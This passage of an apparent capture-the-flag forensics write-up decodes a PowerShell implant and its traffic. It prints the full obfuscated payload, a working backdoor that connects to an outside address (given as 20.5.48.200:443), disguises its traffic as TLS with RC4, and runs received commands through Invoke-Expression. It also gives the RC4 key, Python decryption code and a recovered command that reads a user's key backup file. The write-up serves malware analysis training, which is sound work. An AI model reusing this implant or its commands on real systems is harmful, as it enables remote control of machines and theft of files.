MAB4ADAAMAAsADAAeAAyAGQALAAwAHgAMAAwACwAMAB4ADAAMgAsADAAeAAwADEALAAwAHgAMAAxACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMAB4ADAAMAAsADAAeAAzADMALAAwAHgAMAAwACwAMAB4ADIANgAsADAAeAAwADAALAAwAHgAMgA0ACwAMAB4ADAAMAAsADAAeAAxAGQALAAwAHgAMAAwACwAMAB4ADIAMAAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADAAeAAzADUALAAwAHgAOAAwACwAMAB4ADcAMgAsADAAeABkADYALAAwAHgAMwA2ACwAMAB4ADUAOAAsADAAeAA4ADAALAAwAHgAZAAxACwAMAB4AGEAZQAsADAAeABlAGEALAAwAHgAMwAyACwAMAB4ADkAYQAsADAAeABkAGYALAAwAHgAOQAxACwAMAB4ADIAMQAsADAAeAAzADgALAAwAHgAMwA4ACwAMAB4ADUAMQAsADAAeABlAGQALAAwAHgAMgAxACwAMAB4AGEAMgAsADAAeAA4AGUALAAwAHgAMwBiACwAMAB4ADcANQAsADAAeABlADkALAAwAHgANgA1ACwAMAB4AGQAMAAsADAAeABkADIALAAwAHgAYwBkACwAMAB4ADEANgAsADAAeAA2ADIALAAwAHgANQA0ACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAEIAOAA4AEIAQgA4AEIAQgA4ADgAQgBCADgAOABCACAAPQAgACQAQgA4AEIAQgA4ADgAQgBCAEIAQgA4AEIAOAA4AEIAOAAgACsAIAAkAEIAQgBCAEIAOAA4AEIAOABCAEIAOAA4AEIAOAA4AEIACgAgACAAIAAgACAAIAAgACAAIAAgACQAQgBCAEIAQgA4AEIAOAA4ADgAOAA4ADgAOAA4AEIAOAAgAD0AIABbAGIAeQB0AGUAWwBdAF0AIAAoAFsAQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoARwBlAHQAQgB5AHQAZQBzACgAWwBVAEkAbgB0ADEANgBdACQAQgBCADgAOABCAEIAOABCAEIAOAA4AEIAQgA4ADgAQgAuAEwAZQBuAGcAdABoACkAKQAKACAAIAAgACAAIAAgACAAIAAgAFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEIAQgBCAEIAOABCADgAOAA4ADgAOAA4ADgAOABCADgAKQAKACAAIAAgACAAIAAkAEIAOAA4ADgAOABCAEIAQgA4ADgAOABCADgAOAA4ADgAIAA9ACAAQAAoADAAeAAwADMALAAwAHgAMAAzACwAMAB4ADAAMAAsADAAeAAwADEALAAwAHgAMAAyACwAMAB4ADAAMwAsADAAeAAwADQALAAwAHgAMAA1ACwAMAB4ADAANgAsADAAeAAwADcALAAwAHgAMAA4ACwAMAB4ADAAOQAsADAAeAAwAGEALAAwAHgAMABiACwAMAB4ADAAYwAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMAB4ADAAZAAsADAAeAAwAGUALAAwAHgAMABmACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAwAHgAMQAwACwAMAB4ADEAMQAsADAAeAAxADIALAAwAHgAMQAzACwAMAB4ADEANAAsADAAeAAxADUALAAwAHgAMQA2ACwAMAB4ADEANwAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMAB4ADEAOAAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMAB4ADEAOQAsADAAeAAxAGEALAAwAHgAMQBiACwAMAB4ADEAYwAsADAAeAAxAGQALAAwAHgAMQBlACwAMAB4ADEAZgAsADAAeAAyADAALAAwAHgAZQAwACwAMAB4AGUAMQAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAwAHgAZQAyACwAMAB4AGUAMwAsADAAeABlADQALAAwAHgAZQA1ACwAMAB4AGUANgAsADAAeABlADcALAAwAHgAZQA4ACwAMAB4AGUAOQAsADAAeABlAGEALAAwAHgAZQBiACwAMAB4AGUAYwAsADAAeABlAGQALAAwAHgAZQBlACwAMAB4AGUAZgAsADAAeABmADAALAAwAHgAZgAxACwAMAB4AGYAMgAsADAAeABmADMALAAwAHgAZgA0ACwAMAB4AGYANQAsADAAeABmADYALAAwAHgAZgA3ACwAMAB4AGYAOAAsADAAeABmADkALAAwAHgAZgBhACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAwAHgAZgBiACwAMAB4AGYAYwAsADAAeABmAGQALAAwAHgAZgBlACwAMAB4AGYAZgAsADAAeAAwADAALAAwAHgAMAA4ACwAMAB4ADEAMwAsADAAeAAwADIALAAwAHgAMQAzACwAMAB4ADAAMwAsADAAeAAxADMALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeABmAGYALAAwAHgAMAAxACwAMAB4ADAAMAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAQgA4AEIAOABCAEIAQgBCADgAOABCADgAQgA4AEIAIAA9ACAAJABCADgAOAA4ADgAQgBCAEIAOAA4ADgAQgA4ADgAOAA4ACAAKwAgACQAQgBCAEIAQgA4AEIAOAA4ADgAOAA4ADgAOAA4AEIAOAAgACsAIAAkAEIAQgA4ADgAQgBCADgAQgBCADgAOABCAEIAOAA4AEIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgBCADgAQgBCAEIAOAA4AEIAOABCADgAQgA4ADgAOAAgAD0AIABbAGIAeQB0AGUAWwBdAF0AIAAoAFsAQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoARwBlAHQAQgB5AHQAZQBzACgAJABCAEIAOABCADgAQgBCAEIAQgA4ADgAQgA4AEIAOABCAC4ATABlAG4AZwB0AGgAKQApAAoAIAAgACAAIAAgACAAIAAgAFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEIAQgA4AEIAQgBCADgAOABCADgAQgA4AEIAOAA4ADgAKQAKACAAIAAgACAAIAAkAEIAQgBCADgAOABCAEIAQgA4ADgAOABCADgAQgA4AEIAIAA9ACAAQAAoADAAeAAwADEAKQAgACsAIAAkAEIAQgA4AEIAQgBCADgAOABCADgAQgA4AEIAOAA4ADgAWwAxAC4ALgAzAF0AIAArACAAJABCAEIAOABCADgAQgBCAEIAQgA4ADgAQgA4AEIAOABCAAoAIAAgACAAIAAgACAAIAAgACQAQgA4ADgAQgA4ADgAOABCADgAQgBCADgAQgBCAEIAQgAgAD0AIABbAGIAeQB0AGUAWwBdAF0AIAAoAFsAQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoARwBlAHQAQgB5AHQAZQBzACgAWwBVAEkAbgB0ADEANgBdACQAQgBCAEIAOAA4AEIAQgBCADgAOAA4AEIAOABCADgAQgAuAEwAZQBuAGcAdABoACkAKQAKACAAIAAgACAAIAAgACAAIAAgAFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEIAOAA4AEIAOAA4ADgAQgA4AEIAQgA4AEIAQgBCAEIAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAEIAQgA4ADgAOAA4ADgAOABCAEIAOAA4AEIAOAA4ACAAPQAgAEAAKAAwAHgAMQA2ACwACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADAAeAAwADMALAAgADAAeAAwADEAKQAgACsAIAAkAEIAOAA4AEIAOAA4ADgAQgA4AEIAQgA4AEIAQgBCAEIAIAArACAAJABCAEIAQgA4ADgAQgBCAEIAOAA4ADgAQgA4AEIAOABCAAoAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACwAJABCAEIAQgA4ADgAOAA4ADgAOABCAEIAOAA4AEIAOAA4AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACQAQgBCAEIAQgA4AEIAQgBCAEIAQgBCADgAQgA4ADgAQgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAQgBCAEIAOABCAEIAQgBCAEIAQgA4AEIAOAA4AEIALgBDAG8AbgBuAGUAYwB0ACgAKABJAEkAbABJAGwASQBsAEkAbABsAEkASQBsAGwASQBsACAALQBCAEIAQgBCADgAOAA4ADgAQgBCAEIAQgBCADgAQgBCACAAQAAoADUALAA3ACwAMgA1ACwAMgAsADIANQAsADMALAAxADUALAAyADUALAA1ACwANwAsADcAKQAgAC0AQgBCADgAQgBCADgAQgA4AEIAQgBCADgAQgA4AEIAOAAgADUANQApACwAIAAoACgANQAwACAAKgAgADkAKQAgAC0AIAAoADEAMQAgACoAIAAyACkAKQAgACsAIABbAG0AYQB0AGgAXQA6ADoAUABvAHcAKAAyACwAIAAzACkAIAArACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAA0ADkAKQApAAoAIAAgACAAIAAgACAAJABCAEIAQgBCADgAOAA4ADgAOAA4AEIAOAA4AEIAQgBCACAAPQAgACQAQgBCAEIAQgA4AEIAQgBCAEIAQgBCADgAQgA4ADgAQgAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQAKACAAJABCAEIAOAA4ADgAOAA4AEIAQgA4AEIAOABCADgAQgBCACAAPQAgAGwAbABJAEkAbABsAGwAbABsAEkASQBJAGwAbABsAEkACgAgACAAIAAgACAAIAAgACAAJABCAEIAQgBCADgAOAA4ADgAOAA4AEIAOAA4AEIAQgBCAC4AVwByAGkAdABlACgAJABCAEIAOAA4ADgAOAA4AEIAQgA4AEIAOABCADgAQgBCACwAIAAwACwAIAAkAEIAQgA4ADgAOAA4ADgAQgBCADgAQgA4AEIAOABCAEIALgBMAGUAbgBnAHQAaAApAAoAIAAgACAAIAAgACAAIAAgACQAQgA4AEIAOAA4ADgAQgBCADgAQgA4ADgAOAA4AEIAQgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAxADYAMwA4ADQACgAgACAAIAAgACAAIAAgACAAIAAgACQAQgBCAEIAQgA4ADgAOAA4ADgAOABCADgAOABCAEIAQgAuAFIAZQBhAGQAKAAkAEIAOABCADgAOAA4AEIAQgA4AEIAOAA4ADgAOABCAEIALAAgADAALAAgACQAQgA4AEIAOAA4ADgAQgBCADgAQgA4ADgAOAA4AEIAQgAuAEwAZQBuAGcAdABoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCADgAQgA4ADgAOABCAEIAOABCADgAOAA4ADgAQgBCACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgAzADgANAAKACAAIAAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgA4ADgAOABCAEIAQgA4AEIAOABCADgAOABCADgAQgAgAD0AIAAkAEIAQgBCAEIAOAA4ADgAOAA4ADgAQgA4ADgAQgBCAEIALgBSAGUAYQBkACgAJABCADgAQgA4ADgAOABCAEIAOABCADgAOAA4ADgAQgBCACwAIAAwACwAIAAxADYAMwA4ADQAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABiAHIAZQBhAGsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgBCAEIAQgA4ADgAOAA4AEIAQgBCAEIAQgA4AEIAQgAgAD0AIAAkAEIAOABCADgAOAA4AEIAQgA4AEIAOAA4ADgAOABCAEIAWwA1AC4ALgAoACQAQgA4ADgAOABCAEIAQgA4AEIAOABCADgAOABCADgAQgAgAC0AIAAxACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCADgAQgA4ADgAQgA4AEIAQgA4ADgAOABCAEIAQgA4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACgAbABJAEkASQBsAGwAbABJAEkASQBJAGwAbABsAGwASQAgAC0AQgA4AEIAQgBCADgAQgA4AEIAQgA4AEIAQgBCADgAOAAgACQAQgBCAEIAOAA4AEIAOABCADgAOAA4AEIAQgBCADgAOAAgAC0AQgBCAEIAOABCAEIAQgA4AEIAOAA4AEIAOAA4AEIAOAAgACQAQgBCAEIAQgA4ADgAOAA4AEIAQgBCAEIAQgA4AEIAQgApACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABCADgAQgA4ADgAQgA4AEIAQgA4ADgAOABCAEIAQgA4ACAALQBlAHEAIAAoAEkASQBsAEkAbABJAGwASQBsAGwASQBJAGwAbABJAGwAIAAtAEIAQgBCAEIAOAA4ADgAOABCAEIAQgBCAEIAOABCAEIAIABAACgAMQAwADkALAAxADEAMgAsADkANwAsADEAMgA0ACkAIAAtAEIAQgA4AEIAQgA4AEIAOABCAEIAQgA4AEIAOABCADgAIAA4ACkAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAEIAOAA4AEIAOABCADgAQgBCAEIAQgA4ADgAOABCACAAPQAgACgASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABCADgAQgA4ADgAQgA4AEIAQgA4ADgAOABCAEIAQgA4ACAAMgA+ACYAMQApACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAQgA4ADgAQgA4AEIAOABCAEIAQgBCADgAOAA4AEIAIAA9ACAAKABJAEkAbABJAGwASQBsAEkAbABsAEkASQBsAGwASQBsACAALQBCAEIAQgBCADgAOAA4ADgAQgBCAEIAQgBCADgAQgBCACAAQAAoADEAOAA2ACwAMQA0ADEALAAxADQAMQAsADEANAA0ACwAMQA0ADEAKQAgAC0AQgBCADgAQgBCADgAQgA4AEIAQgBCADgAQgA4AEIAOAAgADIANQA1ACkACgAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAQgBCAEIAOABCAEIAOAA4AEIAQgA4ADgAOABCADgAIAA9ACAAbABsAGwASQBJAGwASQBJAGwASQBsAGwAbABsAGwAbAAgAC0AQgA4ADgAOABCAEIAQgBCAEIAOABCADgAQgA4AEIAQgAgACQAQgBCADgAOABCADgAQgA4AEIAQgBCAEIAOAA4ADgAQgAuAFQAcgBpAG0AKAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQgBCAEIAQgA4ADgAOAA4ADgAOABCADgAOABCAEIAQgAuAFcAcgBpAHQAZQAoACQAQgBCAEIAQgA4AEIAQgA4ADgAQgBCADgAOAA4AEIAOAAsACAAMAAsACAAJABCAEIAQgBCADgAQgBCADgAOABCAEIAOAA4ADgAQgA4AC4ATABlAG4AZwB0AGgAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAEIAQgBCADgAOAA4ADgAOAA4AEIAOAA4AEIAQgBCAC4AQwBsAG8AcwBlACgAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAEIAQgBCADgAQgBCAEIAQgBCAEIAOABCADgAOABCAC4AQwBsAG8AcwBlACgAKQA= 2>$null
Step 2: Extract and analyze the PowerShell payload The decoded base64 reveals obfuscated PowerShell code with the following key components:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
$BBB88B8B888BBB88 = 0xf1,
0x6e,
0xcd,
0xc6,0x79,0x4c,0x66,0xd1,0x02,
0xf8,0x33,0xc4,0x86,
0xe7,0xa4,
0x35,0x8d,
0x69,0xbd,0xd2,0x1d,0x50,0xf5,0xfb,0xdf,0xec,0xaf,
0x0b,0x9e,0x53,
0xa4,0xd3
function IIlIlIlIllIIllIl {
param([int[]]$BBBB8888BBBBB8BB, [int]$BB8BB8B8BBB8B8B8)
$B8B8B8B8B8B8B8BB = ""
foreach ($B888BB88888BBBBB in $BBBB8888BBBBB8BB) {
$B8B8B8B8B8B8B8BB += [char]($B888BB88888BBBBB -bxor $BB8BB8B8BBB8B8B8)
}
return $B8B8B8B8B8B8B8BB
}
function lIIIlllIIIIllllI {
param (
[byte[]]$B8BBB8B8BB8BBB88,
[byte[]]$BBB8BBB8B88B88B8
)
$BBB88BB88BB8BBB8 = 0..255
$B888B8BB888BB88B = 0
for ($B8BB8BBB8BB8BBBB = 0; $B8BB8BBB8BB8BBBB -lt 256; $B8BB8BBB8BB8BBBB++) {
$B888B8BB888BB88B = ($B888B8BB888BB88B + $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB] + $B8BBB8B8BB8BBB88[$B8BB8BBB8BB8BBBB % $B8BBB8B8BB8BBB88.Length]) % 256
$BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB], $BBB88BB88BB8BBB8[$B888B8BB888BB88B] = $BBB88BB88BB8BBB8[$B888B8BB888BB88B], $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB]
}
$B8BB8BBB8BB8BBBB = 0
$B888B8BB888BB88B = 0
$BBBBB8BBB8BBB88B = @()
foreach ($BBBB88888B888BBB in $BBB8BBB8B88B88B8) {
$B8BB8BBB8BB8BBBB = ($B8BB8BBB8BB8BBBB + 1) % 256
$B888B8BB888BB88B = ($B888B8BB888BB88B + $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB]) % 256
$BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB], $BBB88BB88BB8BBB8[$B888B8BB888BB88B] = $BBB88BB88BB8BBB8[$B888B8BB888BB88B], $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB]
$B88BBB888BBB88B8 = $BBB88BB88BB8BBB8[($BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB] + $BBB88BB88BB8BBB8[$B888B8BB888BB88B]) % 256]
$BBBBB8BBB8BBB88B += ($BBBB88888B888BBB -bxor $B88BBB888BBB88B8)
}
return ,$BBBBB8BBB8BBB88B
}
function lllIIlIIlIllllll {
param ([string]$B888BBBBB8B8B8BB)
$B888B8B8B88B8BB8 = [System.Text.Encoding]::UTF8.GetBytes($B888BBBBB8B8B8BB)
$BBBB8888BBBBB8BB = (lIIIlllIIIIllllI -B8BBB8B8BB8BBB88 $BBB88B8B888BBB88 -BBB8BBB8B88B88B8 $B888B8B8B88B8BB8) + (0x02,0x04,0x06,0x08)
$B88BBBBBB888888B = [System.BitConverter]::GetBytes([int16]$BBBB8888BBBBB8BB.Length)
[Array]::Reverse($B88BBBBBB888888B)
return (0x17, 0x03, 0x03) + $B88BBBBBB888888B + $BBBB8888BBBBB8BB
}
function llIIlllllIIIlllI {
$B88B888B8888B888 = (IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(168,187,172,183,184,167,240,186,171,169,176,177,176,186,187,172,240,189,177,179) -BB8BB8B8BBB8B8B8 222)
$BBBB8B8BB888B88B = [System.Text.Encoding]::ASCII.GetBytes($B88B888B8888B888)
$BB88BBBB88B8888B = [byte[]] ([BitConverter]::GetBytes([UInt16]$BBBB8B8BB888B88B.Length))
[Array]::Reverse($BB88BBBB88B8888B)
$B88888B888888BB8 = @(0x00) + $BB88BBBB88B8888B + $BBBB8B8BB888B88B
$BB8BBBB8B8888BB8 = [byte[]] ([BitConverter]::GetBytes([UInt16]$B88888B888888BB8.Length))
[Array]::Reverse($BB8BBBB8B8888BB8)
$B8888B88BB888B88 = $BB8BBBB8B8888BB8 + $B88888B888888BB8
$B888B888BBB8B8BB = [byte[]] ([BitConverter]::GetBytes([UInt16]$B8888B88BB888B88.Length))
[Array]::Reverse($B888B888BBB8B8BB)
$B8BB88BBBB8B88B8 = @(0x00,
0x00) + $B888B888BBB8B8BB + $B8888B88BB888B88
$BBBB88B8BB88B88B = @(0x00, 0x0b,0x00,0x04,0x03,0x00,0x01,0x02,
0x00,0x0a,0x00,0x16,0x00,0x14,0x00,0x1d,0x00,0x17,0x00,0x1e,0x00,0x19,0x00,0x18,0x01,0x00,0x01,0x01,0x01,0x02,0x01,0x03,0x01,0x04,
0x00,0x23,0x00,0x00,
0x00,0x16,0x00,0x00,
0x00,0x17,0x00,0x00,
0x00,0x0d,0x00,0x1e,0x00,0x1c,0x04,0x03,0x05,0x03,0x06,0x03,0x08,0x07,0x08,0x08,0x08,0x09,0x08,0x0a,0x08,0x0b,0x08,0x04,0x08,0x05,0x08,0x06,0x04,0x01,0x05,0x01,0x06,0x01,
0x00,0x2b,0x00,0x03,0x02,0x03,0x04,
0x00,0x2d,0x00,0x02,0x01,0x01,
0x00,0x33,0x00,0x26,0x00,0x24,0x00,0x1d,0x00,0x20,
0x35,0x80,0x72,0xd6,0x36,0x58,0x80,0xd1,0xae,0xea,0x32,0x9a,0xdf,0x91,0x21,0x38,0x38,0x51,0xed,0x21,0xa2,0x8e,0x3b,0x75,0xe9,0x65,0xd0,0xd2,0xcd,0x16,0x62,0x54)
$BB88BB8BB88BB88B = $B8BB88BBBB8B88B8 + $BBBB88B8BB88B88B
$BBBB8B88888888B8 = [byte[]] ([BitConverter]::GetBytes([UInt16]$BB88BB8BB88BB88B.Length))
[Array]::Reverse($BBBB8B88888888B8)
$B8888BBB888B8888 = @(0x03,0x03,0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,
0x0d,0x0e,0x0f,
0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,
0x18,
0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0xe0,0xe1,
0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea,0xeb,0xec,0xed,0xee,0xef,0xf0,0xf1,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8,0xf9,0xfa,
0xfb,0xfc,0xfd,0xfe,0xff,0x00,0x08,0x13,0x02,0x13,0x03,0x13,0x01,0x00,0xff,0x01,0x00)
$BB8B8BBBB88B8B8B = $B8888BBB888B8888 + $BBBB8B88888888B8 + $BB88BB8BB88BB88B
$BB8BBB88B8B8B888 = [byte[]] ([BitConverter]::GetBytes($BB8B8BBBB88B8B8B.Length))
[Array]::Reverse($BB8BBB88B8B8B888)
$BBB88BBB888B8B8B = @(0x01) + $BB8BBB88B8B8B888[1..3] + $BB8B8BBBB88B8B8B
$B88B888B8BB8BBBB = [byte[]] ([BitConverter]::GetBytes([UInt16]$BBB88BBB888B8B8B.Length))
[Array]::Reverse($B88B888B8BB8BBBB)
$BBB888888BB88B88 = @(0x16,
0x03, 0x01) + $B88B888B8BB8BBBB + $BBB88BBB888B8B8B
return ,$BBB888888BB88B88
}
$BBBB8BBBBBB8B88B = New-Object System.Net.Sockets.TcpClient
$BBBB8BBBBBB8B88B.Connect((IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(5,7,25,2,25,3,15,25,5,7,7) -BB8BB8B8BBB8B8B8 55), ((50 * 9) - (11 * 2)) + [math]::Pow(2, 3) + [math]::Sqrt(49))
$BBBB888888B88BBB = $BBBB8BBBBBB8B88B.GetStream()
$BB88888BB8B8B8BB = llIIlllllIIIlllI
$BBBB888888B88BBB.Write($BB88888BB8B8B8BB, 0, $BB88888BB8B8B8BB.Length)
$B8B888BB8B8888BB = New-Object byte[] 16384
$BBBB888888B88BBB.Read($B8B888BB8B8888BB, 0, $B8B888BB8B8888BB.Length) | Out-Null
while ($true) {
$B8B888BB8B8888BB = New-Object byte[] 16384
try {
$B888BBB8B8B88B8B = $BBBB888888B88BBB.Read($B8B888BB8B8888BB, 0, 16384)
} catch {
break
}
$BBBB8888BBBBB8BB = $B8B888BB8B8888BB[5..($B888BBB8B8B88B8B - 1)]
$B8B88B8BB888BBB8 = [System.Text.Encoding]::UTF8.GetString((lIIIlllIIIIllllI -B8BBB8B8BB8BBB88 $BBB88B8B888BBB88 -BBB8BBB8B88B88B8 $BBBB8888BBBBB8BB))
if ($B8B88B8BB888BBB8 -eq (IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(109,112,97,124) -BB8BB8B8BBB8B8B8 8)) { break }
try {
$BB88B8B8BBBB888B = (Invoke-Expression $B8B88B8BB888BBB8 2>&1) | Out-String
} catch {
$BB88B8B8BBBB888B = (IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(186,141,141,144,141) -BB8BB8B8BBB8B8B8 255)
}
$BBBB8BB88BB888B8 = lllIIlIIlIllllll -B888BBBBB8B8B8BB $BB88B8B8BBBB888B.Trim()
$BBBB888888B88BBB.Write($BBBB8BB88BB888B8, 0, $BBBB8BB88BB888B8.Length)
}
$BBBB888888B88BBB.Close()
$BBBB8BBBBBB8B88B.Close()
Key findings:
- RC4 encryption key:
$BBB88B8B888BBB88 - Connection to attacker IP:
20.5.48.200on port443 - TLS handshake simulation and encrypted command execution
Step 3: Extract the RC4 key and encrypted data From the PowerShell code, we extract the RC4 key:
1
RC4_KEY = [0xf1, 0x6e, 0xcd, 0xc6, 0x79, 0x4c, 0x66, 0xd1, 0x02, 0xf8, 0x33, 0xc4, 0x86, 0xe7, 0xa4, 0x35, 0x8d, 0x69, 0xbd, 0xd2, 0x1d, 0x50, 0xf5, 0xfb, 0xdf, 0xec, 0xaf, 0x0b, 0x9e, 0x53, 0xa4, 0xd3]
Step 4: Decrypt the TLS traffic We find encrypted data packets starting with 17030300 (TLS Application Data). The raw encrypted hex data:
1
17030300d84b3595b2c7d8941fc50194795a788096a970b42074c522d6d34775419212149581d5f629d01c75eda554a1a2f07d5258f278b022022f65d9d589f645f79241cb0a39d4850018ed6f342737ee9335225aed762aaa139bdddf799e08d9b6056ea462e8508b3017000601073e1ff741660d29045023182476ae5407c6b849363cfc9701a73eb688bf20d086d7ef04e18d640465e162999b3e0229733065f0fc330f97e270070f1ee60966b43a8ea7023890b1ad1e2858645a0846da14852d0f3bf000948c8818e6c03955e64143c2736f8bdb48daa202040608
Note: This hex data is just one part of the entire communication between the malware and C2 server. This specific packet contains the command response that includes our flag data.
Using Python with the RC4 key:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Cipher import ARC4
RC4_KEY = bytes([
0xf1, 0x6e, 0xcd, 0xc6, 0x79, 0x4c, 0x66, 0xd1, 0x02, 0xf8, 0x33, 0xc4, 0x86, 0xe7, 0xa4,
0x35, 0x8d, 0x69, 0xbd, 0xd2, 0x1d, 0x50, 0xf5, 0xfb, 0xdf, 0xec, 0xaf, 0x0b, 0x9e, 0x53,
0xa4, 0xd3
])
def decrypt_rc4(hex_str):
cipher = ARC4.new(RC4_KEY)
decrypted = cipher.decrypt(bytes.fromhex(hex_str))
try:
return decrypted.decode("utf-8")
except UnicodeDecodeError:
return decrypted.hex()
# Skip first 10 chars (17030300XX) and decrypt the rest
encrypted_hex = "4b3595b2c7d8941fc50194795a788096a970b42074c522d6d34775419212149581d5f629d01c75eda554a1a2f07d5258f278b022022f65d9d589f645f79241cb0a39d4850018ed6f342737ee9335225aed762aaa139bdddf799e08d9b6056ea462e8508b3017000601073e1ff741660d29045023182476ae5407c6b849363cfc9701a73eb688bf20d086d7ef04e18d640465e162999b3e0229733065f0fc330f97e270070f1ee60966b43a8ea7023890b1ad1e2858645a0846da14852d0f3bf000948c8818e6c03955e64143c2736f8bdb48daa202040608"
decrypted = decrypt_rc4(encrypted_hex)
Step 5: Decode the exfiltrated data The decrypted data reveals a PowerShell command that reads and base64-encodes a file:
1
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\jdoe\Documents\keys_backup.tar.gz"))
The response contains the base64-encoded file:
1
